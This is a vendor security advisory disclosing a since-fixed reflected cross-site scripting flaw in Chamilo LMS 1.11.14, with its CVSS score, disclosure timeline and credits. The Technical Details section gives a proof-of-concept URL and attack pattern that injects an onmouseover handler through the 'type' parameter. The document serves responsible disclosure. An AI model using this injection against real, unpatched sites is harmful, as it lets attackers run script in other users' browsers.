Information
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Advisory by Netsparker (now Invicti)
Name: Cross-Site Scripting Vulnerability in Chamilo LMS
Affected Software: Chamilo LMS
Affected Versions: 1.11.14 
Homepage: https://chamilo.org/en/
Vulnerability: Cross-Site Scripting
Severity: High
Status: Fixed
CVSS Score (3.0): 7.4 (High)
Invicti Advisory Reference: NS-21-001

Technical Details
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URL: http://alihost/chamilo/main/calendar/agenda_list.php?type=x"%20onmouseover=netsparker(0x01CE61)%20x="#collapse-personal_1
Parameter Name: type
Parameter Type: GET
Attack Pattern: x%22+onmouseover%3dnetsparker(0x01CE61)+x%3d%22

For more information on cross-site scripting vulnerabilities read the article Cross-site Scripting (XSS).

Advisory Timeline
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14th January 2021 - First Contact
27th January 2021 - Vendor Fixed
28th January 2021 - Advisory Released

Credits & Authors
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These issues have been discovered by Ali Oğuz while testing the Invicti Web Application Security Scanner.

About Invicti
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Invicti Security is transforming the way web applications are secured. Invicti empowers organizations in every industry to scale their overall security operations, make the best use of their security resources, and engage developers in helping to improve their overall security posture.